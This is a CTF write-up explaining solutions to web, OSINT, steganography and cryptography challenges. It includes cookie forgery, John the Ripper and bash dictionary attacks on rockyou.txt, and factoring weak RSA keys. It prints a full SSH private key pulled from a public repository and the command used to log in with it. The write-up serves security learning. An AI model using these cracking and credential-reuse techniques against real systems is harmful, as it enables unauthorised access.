**flag{welcome_to_robots.txt}**
**Solution:** With the challenge we get a url to a website:

There doesn't seem to be much in the index page, but we can guess by the name of the challenge that there is something in the robots.txt file for the website, robots.txt is a file which helps search engines (crawlers in general) to index the site correctly, in most sites nowadays there is a robots.txt file, if we look at the file ( the link is http://jh2i.com:50032/robots.txt ) we get the flag:

**Resources:*** Introduction to robots.txt: https://support.google.com/webmasters/answer/6062608?hl=en
## UGGCBecome the admin!
Connect here:\http://jh2i.com:50018
**flag{H4cK_aLL_7H3_C0okI3s}**
**Solution:** With the challenge we get a url to a website and it seems that we can login to the it using the index page:

By the description we know that we need to login as admin, but if we try using admin as our username we get the following:

But we can login with any other username:

If we try to refresh the page or open it in another tab it seems that the login is saved, which means that the site is using cookies, because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user, we can see the cookies of the site by using the inspector tool in the browser:

we can see that the cookie for the site bares a strange similarity to the username I used, that is because the cookie is encrypted using ceaser cipher, a type of substitution cipher where each letter is replaced by the letter with a specific offset from it, in our case with the offset of 13, so a becomes n, b becomes o and so on, a ceaser cipher with offset of 13 is also called a ROT13 cipher, now that we know the cipher used on the cookie we can change our cookie to being that of the admin, we can use cyberchef to do that:

now we only need to change the value of the cookie to the ciphertext corresponding to admin (we can use the browser inspector tool for that) and we get the flag:

**Resources:*** HTTP cookie: https://en.wikipedia.org/wiki/HTTP_cookie* Ceaser cipher: https://en.wikipedia.org/wiki/Caesar_cipher* Cyberchef: https://gchq.github.io/CyberChef/
## Easy KeesyDang it, not again...
Download the file below.
[easy_keesy](assets//files//easy_keesy)
**flag{jtr_found_the_keys_to_kingdom}**
**Solution:** With the challenge we get a file with an unknown format, we can use the file command to see that the file is a KeePass database:

This type of files are databases used to keep passwords on the computer 'safely', there are many password managers to view this kind of files but I used KeeWeb for this challenge mostly because it is a web tool, if we try to open the file with it we can quickly notice that we don't have the password for doing that, furthermore there aren't any mentions of a password in the file or in the description of the challenge, so it seems we need to bruteforce for the password.\Passwords are commonly saved as hashes, hashes are data created using cryptographic hash functions which are one way functions (easy to find an hash for a password, hard to find a password for the hash) who are also able to return a value with a fixed length to any file with any size, a simple example for an hash function is the algorithm shown in the December challenge with the slight modification that only the last block of the cipher is returned, hashes are great because it is easy to validate a value using them as you can just as hash the value using the hash function and compare the hashes, but, it is hard to get the value from an hash.\In the case of a KeePass database file, the password for the database, which is called a master password, is saved as an hash in the file in order for a password manager to verify it, this is not a smart idea to save the password locally like that but it's good for us.\To find the password I used a dictionary attack, this type of attack uses a known database in order to find the right data, in the case of password cracking we use a database of passwords, preferably ordered by most frequently used to least frequently used, we will hash each password and compare it to the hash we have until we'll find a password with the same one, this does not guarantee that we found the correct password (an hash collision can occur) but most probably it will find the correct one, the dictionary I used is called rockyou.txt which lists common passwords. for executing the attack I used John the Ripper, a great tool for cracking hashes using a dictionary, I first converted the file to something john can use and then used john with rockyou.txt to crack the password by executing the following commands:
```bashkeepass2john easy_keesy > kpjohn --wordlist=/usr/share/wordlists/rockyou.txt -format:keepass kp```by doing that we get that the password for the file is monkeys, if we try using it in KeeWeb we are given access to the database and we get the flag:

**Resources:*** file man page: https://linux.die.net/man/1/file* KeePass: https://en.wikipedia.org/wiki/KeePass* KeeWeb: https://keeweb.info/* rockyou.txt: https://wiki.skullsecurity.org/Passwords* John the Ripper: https://tools.kali.org/password-attacks/john* cryptographic hash function (CHF): https://en.wikipedia.org/wiki/Cryptographic_hash_function
## Peter RabbitLittle Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away!
Download the file below.\[peter.png](assets//images//peter.png)
**Post CTF Writeup**
**flag{ohhhpietwastherabbit}**
**Solution:** With the challenge we are given the following PNG image:

this is actually an esoteric programming language called piet, named after the artist Piet Mondrian, we can use an interpreter to execute the script (I linked the one I used in the resources), by doing so we get the flag:

**Resources:*** Piet: https://www.dangermouse.net/esoteric/piet.html* Esoteric Programming Language: https://en.wikipedia.org/wiki/Esoteric_programming_language* Piet online interpreter: https://www.bertnase.de/npiet/npiet-execute.php
## PangThis file does not open!
Download the file below.
[pang](assets//files//pang)
**flag{wham_bam_thank_you_for_the_flag_maam}**
**Solution:** With the challenge we get a unknown file, we can use the file command to see that this is a PNG image, but it seems we can't open the image in an image viewer, so we can guess that the image is corrupted, we can verify that by using a tool called pngcheck:

The tool tells us that there is an CRC error in the IHDR chunk, the IHDR is the first chunk in a PNG image and the CRC value is a value stored for every chunk in the image to verify the authenticity of the data (I explained more about CRC and IHDR in my writeup for the challenges in RACTF 2020 listed in the resources).\We can fix the image by changing value of the CRC, I prefer to do it using an hex viewer so we can have a clear understanding of the data, the changes are marked in red:

and by saving the modified file and viewing it again we get the flag:

**Resources:*** pngcheck man page: https://man.cx/pngcheck(1)* PNG file format specification: http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* RACTF 2020 writeup for stego challenges: https://github.com/W3rni0/RACTF_2020#steg--forensics* HxD: https://mh-nexus.de/en/hxd/
***# OSINT
## Time KeeperThere is some interesting stuff on this website. Or at least, I thought there was...
Connect here:\https://apporima.com/
**JCTF{the_wayback_machine}**
**Solution:** We are given a url of a site with the challenge, as the challenge suggests we need to look at older versions of the site, the current version is:

we can use a site called Wayback Machine (linked in resources) to view older versions of sites, it seems that there is only one older version of the site from the 18th of april, and there is a snapshot of the index page:

link to the snapshot:`https://web.archive.org/web/20200418214642/https://apporima.com/`
You can see that the first blog post from the older version can't be found in the current version, furthermore it suggests that the flag is in the web server of the site under /flag.txt, trying to view the file in the current version gives us 404 error, but if we try to view older version of it in the the wayback machine we get the flag:

**Resources:*** Wayback Machine: https://archive.org/web/
## New Years ResolutionThis year, I resolve to not use old and deprecated nameserver technologies!
Connect here: jh2i.com
**flag{next_year_i_wont_use_spf}**
**Solution:** We can infer from the name of the challenge and the description that it has something to do with nameservers, nameserver are servers which handle resolving human-readable identifiers to numberical identifiers, in the case of web server, nameserver handle providing responses to queries on domain names, usually converting urls to IP addresses but not always, we can view this responses using the dig command, in our case we want to view all the type of responses availiable (the more the merrier), we can do this by writing ANY after the command, the full command is:
`dig jh2i.com ANY`
and we have our flag in the output of the command:

**Resources:*** Name server: https://en.wikipedia.org/wiki/Name_server* DNS protocol: https://tools.ietf.org/html/rfc1034* dig man tool: https://linux.die.net/man/1/dig
## Finsta
This time we have a username. Can you track down `NahamConTron`?
**flag{i_feel_like_that_was_too_easy}**
**Solution:** In this challenge we need to track down a username, luckily there is a tool called Sherlock that does just that, it searches popular sites such as GitHub, Twitter, Instagram and etc. for an account with the given username, and returns a list to the profiles, we can run it using the following command:
`python3 sherlock NahamConTron`
and the commands returns the following list of accounts:
```https://www.github.com/NahamConTronhttps://www.instagram.com/NahamConTronhttps://www.liveleak.com/c/NahamConTronhttps://www.meetme.com/NahamConTronhttps://forum.redsun.tf/members/?username=NahamConTronhttps://www.twitter.com/NahamConTronTotal Websites Username Detected On : 6```
by looking at the instegram account we can find our flag at the accout description:

**Resources:*** Sherlock: https://github.com/sherlock-project/sherlock
## Tron
NahamConTron is up to more shenanigans. Find his server.
**flag{nahamcontron_is_on_the_grid}**
**Solution:** Taking a look back at the list Sherlock returned in the previous challenge we can see that there is an account in github with this username, let's take a look at it:

there are 2 repositories for the user:

the second one is not very helpful:

but the first one has some interesting files:

the first file to pop into view is the .bash_history file, it contains the command history of a user and can reveal sensitive information about the user activity, in our case it contains the following line:```bashssh -i config/id_rsa [email protected] -p 50033```so we now know the user has connected to a server using the SSH protocol (Secure Shell protocol) with an SSH private key, and we also know that the key is in a config folder .... interesting, maybe it is the same folder as the one in the repo?

yeah it is!, the private key is:
```-----BEGIN OPENSSH PRIVATE KEY-----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-----END OPENSSH PRIVATE KEY-----```
and we can connect to the server, using the same command, and in the server we find our flag:

***# Steganography
## KstegThis must be a typo.... it was kust one letter away!
Download the file below.
[luke.jpg](assets//images//luke.jpg)
**flag{yeast_bit_steganography_oops_another_typo}**
**Solution:** With the challenge we get the following JPEG image:
We can infer by the challenge name and the challenge description that we need to use Jsteg (link in the resources), this is a type of tool for hiding data in the least significant bit (LSB) of the bytes in the image, this image is actually an image of the creator of the tool (whose name is luke), I only succeeded in using the tool by running the main.go script that's in jsteg/cmd/jsteg using the following command:

**Resources:*** Jsteg: https://github.com/lukechampine/jsteg
## DohDoh! Stupid steganography...
**Note, this flag is not in the usual format.**
Download the file below.
[doh.jpg](assets//images//doh.jpg)
**JCTF{an_annoyed_grunt}**
**Solution:** With the challenge we get the following JPEG image:
because this is a stego challenge one of the first thing I do is to check if there are files embedded in the image using binwalk and steghide, luckily steghide comes to use and finds a text file in the image which actually contains the flag:

**Resources:*** Steghide: http://steghide.sourceforge.net/* binwalk man page: https://manpages.debian.org/stretch/binwalk/binwalk.1.en.html
## Beep BoopThat must be a really long phone number... right?
Download the file below.
[flag.wav](assets//files//flag.wav)
**flag{do_you_speak_the_beep_boop}**
**Solution:** Now we are given for a change a WAV file (Wave audio file), in it we can hear key presses of a phone, this is actually DTMF (dual tone multi frequency) which were used to signal to the phone company that a specific key was pressed and they have quite a lot of history with respect to hacking, we can actually decipher this tones using a tool called multimon-ng or using the web tool listed below, this will give us the following code:
```46327402297754110981468069185383422945309689772058551073955248013949155635325
```we can execute the following command to extract the number:
`multimon-ng -t wav -a DTMF flag.wav | grep -o "[0-9]+" | tr -d "\n"`
I tried a lot of ways to get the flag from this number and eventually figured out that you need to convert the numbers from decimal format to hex and then from hex to ascii, or alternatively use long_to_bytes from the pycryptodome module, by doing so we get the flag:

**Resources:*** DTMF: https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling* multimon-ng: https://tools.kali.org/wireless-attacks/multimon-ng* Web DTMF decoder: http://dialabc.com/sound/detect/index.html* long_to_bytes: https://pycryptodome.readthedocs.io/en/latest/src/util/util.html#Crypto.Util.number.long_to_bytes
## SnowflakeFrosty the Snowman is just made up of a lot of snowflakes. Which is the right one?
Note, this flag is not in the usual format.
Download the file below.\[frostythesnowman.txt](assets//files//frostythesnowman.txt)
**JCTF{gemmy_spinning_snowflake}**
**Solution:** We are given a text file with the challenge, if we look at the file we can't see anything weird:```Frosty the snowman was a jolly happy soulWith a corncob pipe and a button noseAnd two eyes made out of coalFrosty the snowman is a fairy tale, they sayHe was made of snow but the children knowHow he came to life one dayThere must have been some magic inThat old silk hat they foundFor when they placed it on his headHe began to dance aroundOh, Frosty the snowman
```
but if we open the file in Notepad++ and turn on the option the show special symbols we can now see that something is off with the file:

these are tabs and spaces, and this type of steganography is actually SNOW (Steganographic Nature Of Whitespace), it is a type of whitespace steganography which uses Huffman encoding to compress a message and hide it in the whitespaces, we can use stegsnow tools to reveal the message but it seems that it doesn't work:

After a bit of trial and error I discovered that it is password protected, so I wrote a simple bash script which reads the passwords from rockyou.txt line by line and try to decrypt the data, this is a dictionary attack, and a simple one at that (I explained more about this type of attacks in the writeup for Easy Keesy):
```bashfile=rockyou.txtwhile read -r linedo printf "\n$line " stegsnow -C -Q -p "$line" frostythesnowman.txtdone < $file```
by using this simple bruteforce script we get that the password is ilovejohn (don't we all) and we get the flag (I redirected the script output to a file and then grepped for braces pattern):

**Resources:*** SNOW: http://www.darkside.com.au/snow/* stegsnow man page: http://manpages.ubuntu.com/manpages/bionic/man1/stegsnow.1.html
## My ApologiesNothing witty to say here... just that I am sorry.
Note, this flag is not in the usual format.
Download the file below.\[apologies.txt](assets//files//apologies.txt)
**flag_i_am_so_sorry_steg_sucks**
**Solution:** We again get a txt file with the challenge, now we can easily notice that something off with the message:
```Turns out the steganographⅰc technique we were
using dⅰdn't really make
much sense... but we kept it anyway. Oh well!```This is actually an Homoglyphs Steganography, a type of steganography which uses unicode encoding to hide a message, we can use the link in the resources to reveal the flag:

**Resources:** * Twitter Secret Messages: http://holloway.co.nz/steg/
## Dead SwapThere is a flag in my swap!
Download the file below.\[deadswap](assets//files//deadswap)
**Post CTF Writeup**
**flag{what_are_you_doing_in_my_swap}**
**Solution:** With the challenge we are given a file from an unknown type, with can infer from the challenge title and description that this is a swap file, without getting into details, swap files are files saved in the hard drives to be used as an extension to the memory, when a computer needs to save some data on the memory for quick access and doesnt have a place for it the computer moves a chunk of the data stored on the memory to the hard drive (usually the least used chunk) and overwrites this chunk in the memory with the data, this is actually really not important for this challenge, by using xxd on the file it seems that we only have \xff bytes:

but by grepping for everything but \xff bytes we can see thet there are \xfe bytes too:

during the CTF I tried using binary by mapping 1 and 0 to f and e but the solution is actually to map 1 and 0 to fe and ff, this will give us a binary string, encoding the string to ascii we get the flag in reverse, so I wrote a one-liner to do all that (and it's amazing):
`xxd deadswap | grep -v "ffff ffff ffff ffff ffff ffff ffff ffff" | cut -d " " -f 2-10 | sed "s/ff/0/g" | sed "s/fe/1/g" | tr -d " \n" | python3 -c "import binascii; print(binascii.unhexlify('%x' % int(input(),2)));" | rev`
the one-liner prints the hexdump of the file, greps for lines which contains interesting data, cut only the columns with the hex data, replaces ff and fe with 0 and 1 (using sed), removes new-lines, convert the data from binary to ascii using python and reverses the string, and in action:

**Resources:*** Swap file: https://www.computerhope.com/jargon/s/swapfile.htm
## WalkmanDo you hear the flag? Maybe if you walk through it one step at a time.
Download the file below.\[wazaa.wav](assets//files//wazaa.wav)
**Post CTF Writeup**
**flag{do_that_bit_again}**
**Solution:** We are given a WAV audio file with the challenge, I personally hate steganography that is related to audio, if it is not spectogram and wavsteg can't find something I just quit...but I'm a completionist, so I'll cover that as well, we need to use a tool called wav-steg-py which is listed in the resources using this command to extract the flag:
`python3 wav-steg.py -r -s wazaaa.wav -o a -n 1 -b 1000`
in action:

this tool uses the least significant bit to hide data and extract hidden data (which wavsteg also do so i'm not sure why it didn't work with it), it's quite common to hide data in the LSB of the file so this type of tools are really handy.
**Resources:*** wav-steg-py: https://github.com/pavanchhatpar/wav-steg-py
## Old SchoolDid Dade Murphy do this?
Note, this flag is not in the usual format
Download the file below.\[hackers.bmp](assets//images//hackers.bmp)
**Post CTF Writeup**
**JCTF{at_least_the_movie_is_older_than_this_software}**
**Solution:** With the challenge we are given a bitmap (bmp) file:

bmp format is a quite old file format and rarely used today as its compression algorithm is really not good and rarely supported so it's not very efficient in space to save images as bmp files, especially if you consider the image quality nowadays, the flag is again hidden in the least significant bits of the image and again I tried checking that during the CTF and got nothing, a smarter approach is to use zsteg, which checks all the available channels and even checks the most significant bit for hidden data, we can get the flag using the following command:
`zsteg -a hackers.bmp`
and in action:

***# Cryptography
## DocxorMy friend gave me a copy of his homework the other day... I think he encrypted it or something?? My computer won't open it, but he said the password is only four characters long...
Download the file below.\[homework](assets//files//homework)
**flag{xor_is_not_for_security}**
**Solution:** We get an unknown file with the challenge, obviously from the challenge description and challenge name we know that the file is xored and that the key is of length 4, if we look at the hex dump of the file we can notice this reoccurring pattern of bytes `\x5a\x41\x99\xbb` :

furthermore if we analyze the frequency of the bytes in the file we get the following graph where the peaks are in \x5a, \x41, \x99 and \xbb:

but if we look at a regular PNG file or Zip file we get the following bytes frequency:

we can notice that regularly the \x00 byte is the most frequent, so if the key is xorred with the data all of the \x00 bytes will be mapped to the bytes of the key.
so we can infer that key is `\x5a\x41\x99\xbb`, plugging the file into cyberchef in xorring the data with the key gives us the following zip file:
[xorred_homework](assets//files//xorred_homework)
this is actually not a zip file but a docx file by the folders in it (there are a lot of file types which are actually zip) if we open the file using Microsoft word or Libreoffice we get the flag:

**Resources:*** Xor: https://en.wikipedia.org/wiki/Exclusive_or* Frequency analysis: https://en.wikipedia.org/wiki/Frequency_analysis* An example to some of the file types which are actually zip: https://www.quora.com/Which-file-types-are-really-ZIP-or-other-compressed-packages
## HomecookedI cannot get this to decrypt!
Download the file below.\[decrypt.py](assets//files//decrypt.py)
**flag{pR1m3s_4re_co0ler_Wh3n_pal1nDr0miC}**
**Solution:** Now we get with the challenge a python script:
```python 3import base64num = 0count = 0cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA="
def a(num): if (num > 1): for i in range(2,num): if (num % i) == 0: return False break return True else: return False
def b(num): my_str = str(num) rev_str = reversed(my_str) if list(my_str) == list(rev_str): return True else: return False
cipher = base64.b64decode(cipher_b64).decode().split(",")
while(count < len(cipher)): if (a(num)): if (b(num)): print(chr(int(cipher[count]) ^ num), end='', flush=True) count += 1 if (count == 13): num = 50000 if (count == 26): num = 500000 else: pass num+=1
print()```
this script is used for decrypting the cipher but it doesn't seem to work well:

it somewhat stops printing at this point but still runs, we can guess by that the code is inefficient, we can try to understand what the script does to figure out how to make it more efficient, we can see that the script decode the ciphertext from base64 to bytes, then for each byte in the ciphertext it tries to find a value of next value for num such that both functions a and b returns a boolean value of True, then xors that value with the value of the byte and prints the result, it continues likes that for the succeeding bytes while continuously increasing the value of num by one, but, by the 13th byte the value of num is jumped to 50000 and by the 26th byte the value of num is jumped to 500000.
Now let's look at the functions, a checks if there are no numbers bigger than 2 and smaller than the input that can divide it without a remainder, so a checks if the input is prime.The function b checks if the input is equal to itself in reverse so b checks if the input is a palindrome.a return True if the number is prime and b checks if the number is a palindrome, so the values that are xorred with the bytes of the cipher are palindromic primes
if we take a second look at the function a we can see that it is very inefficient as it checks for all the numbers that are smaller than the input if they can divide it without a remainder, we can replace it with the primality test in the sympy module, which uses an efficient method (Rabin-Miller Strong Pseudoprime Test), in the end we get the less obfuscated following script:
```python 3import base64import sympy
num = 0count = 0cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA="
def prime(num): return sympy.isprime(num)
def palindrome(num): my_str = str(num) rev_str = reversed(my_str) if list(my_str) == list(rev_str): return True else: return False
cipher = base64.b64decode(cipher_b64).decode().split(",")
while(count < len(cipher)): if (prime(num)): if (palindrome(num)): print(chr(int(cipher[count]) ^ num), end='', flush=True) count += 1 if (count == 13): num = 50000 if (count == 26): num = 500000 else: pass num+=1
print()```and by running this more efficient script we get the flag in a reasonable time:

## TwinningThese numbers wore the same shirt! LOL, #TWINNING!
Connect with:\`nc jh2i.com 50013`
**flag{thats_the_twinning_pin_to_win}**
**Solution:** When we connect to server given we the challenge we are greeted with the following:

we can guess that this is an RSA encryption, I explained more about how RSA works in my writeup for RACTF 2020:
> ... RSA is a public key cipher, which means that there are two keys, one that is public which is used to encrypt data, and one that is private which is used to decrypt data, obviously there is some sort of connection between the keys but it is hard to reveal the private key from the public keys (and in this case vice versa), specifically in RSA in order to find the private key we need to solve the integer factorization problem, which is thought to be in NP/P (this is not important for the challenge), we will call our public key e and our private key d, they posses the following attribute - d multiply by e modulo the value of (p-1) * (q-1) which we will name from now phi, is equal to 1, we will call d the modular multiplicative inverse of e and e the modular multiplicative inverse of d, furthermore if we take a plaintext message pt and raise it to the power of d and then to the power of e modulo the value of p * q, which we will name n and will be commonly given to us instead of q and p, we will get pt again (to understand why it is needed to delve into modern algebra, if n is smaller than pt then obviously we will not get pt), now with that in mind we can talk about the cipher, encryption in this cipher is raising the plaintext pt to the power of the public key e mod the value of n, similarly, decryption is raising the ciphertext to the power of d mod n...
and I explained why it works and how we can break the cipher:
>...for that we need to talk about factors, factors are numbers which can be divided only by 1 and himself (we are only talking about whole numbers), we have discovered that there are infinitely many factors and that we can represent any number as the multiplication of factors, but, we haven't discovered an efficient way to find out which factors make up a number, and some will even argue that there isn't an efficient way to do that (P vs. NP and all that), which means that if we take a big number, it will take days, months and even years to find out the factors which makes it, but, we have discovered efficient ways to find factors, so if I find 2 factors, which are favorably big, I multiply them and post the result on my feed to the public, it will take a lot of time for people to discover the factors that make up my number. But, and a big but, if they have a database of numbers and the factors that make them up they can easily find the factors for each numbers I will post, and as I explained before, if we can the factors we can easily calculate phi and consequently calculate d, the private key of RSA, and break the cipher, right now there are databases (listed below) with have the factors to all the numbers up to 60 digits (if I remember correctly), which is a lot but not enough to break modern RSA encryptions, but if we look at the challenge's parameters, we can see that n is awfully small, small enough that it most be in some databases...
if we search for the value of n in factorDB, a database for the factors of numbers, we can find factors for the value of n given to us:

now we can write a small script which calculates phi, finds d the modular inverse for e modulo phi and raise the ciphertext to the power of d (or be a script kiddie and use the RSA module):
```python 3from Crypto.Util.number import inverse
p = 1222229q = 1222231e = 65537ct = 348041806368n = 1493846172899
phi = (p - 1) * (q - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(plain)
```and by running this script we get that the PIN is 3274 and by giving the PIN to the server we get the flag:

I guess that the challenge name and description is joking about the proximity of the primes...
## Ooo-la-laUwu, wow! Those numbers are fine!
Download the file below.\[prompt.txt](assets//files//ooolala.txt)
**flag{ooo_la_la_those_are_sexy_primes}**
**Solution:** With the challenge we are given a text file, the text file contains the following:
```N = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091e = 65537c = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983```
So this is another RSA challenge, we can again try to find the factors that make up the value of N, we can use factorDB again:

and we have the factors, now let's recycle the script from the last challenge now with the new parameters,also now we need to convert the plaintext to ascii encoded characters, we can use the function long_to_bytes from pycryptodome for that:
```python 3from Crypto.Util.number import inverse, long_to_bytes
p = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428207q = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428213e = 65537ct = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983n = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091
phi = (p - 1) * (q - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(long_to_bytes(plain))```and by running the script we get the flag:

## Unvreakable VaseAh shoot, I dropped this data and now it's all squished and flat. Can you make any sense of this?
Download the file below.\[prompt.txt](assets//files//vase.txt)
**Post CTF Writeup**
**flag{does_this_even_count_as_cryptooo}**
**Solution:** We this challenge we are given a text file with the following content:
```zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30=```
this seems to be base64 encoding, but if you try to decode it from base64 to ascii you don't get much:```ÎlaÏ{dokóÇzèk.ßÏ.ån_co{îuÿas_crypv.oo}```
I didn't actually managed to solve this challenge by myself during the CTF thinking it is a combination between rail cipher and base64 but actually that is just a base64 encoding where all the upper cased letters were lowered, we can try going over all combination of lower case and upper case for all the characters in the string but it will take two to the power of the length of the string, which is 2 to the power of 52 at most and at least 2 to the power of 40 if we exclude numbers and symbol, which is still a lot.\But, we can do something else, base64 is using characters to represents the numbers from 0 to 63, if we'll encode one letter from base64 to binary we get a binary string of length 6 bits, but each ascii character take 8 bits to encode, so if we want to find the smallest ascii substring that decodes to a base64 string without padding we'll need to find a lowest common multiple (LCM) value, for those numbers the LCM is 24, and s0 every 24/8 = 3 ascii characters are encoded to 24/6 = 4 base64 characters without padding and if we will split our ciphertext to blocks of 4 characters and try every possible combination of upper case and lower case on every character in each block until we get a readable substring (preferably of the flag which very likely though not guaranteed) we'll need to try at most 2 to the power of 4 multiplied by the number of blocks for every block, in out case `(2 ** 4) * (52 / 4) = (2 ** 4) * 12` which is a lot less then what we had before, for that I wrote the following script which goes through every block in the ciphertext and tries all the possible combinations until the ascii strings decoded from the block are printable (in the range from space \x20 to tilde \x7e):
```python 3import base64from string import printable
cipher = list('zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30=')
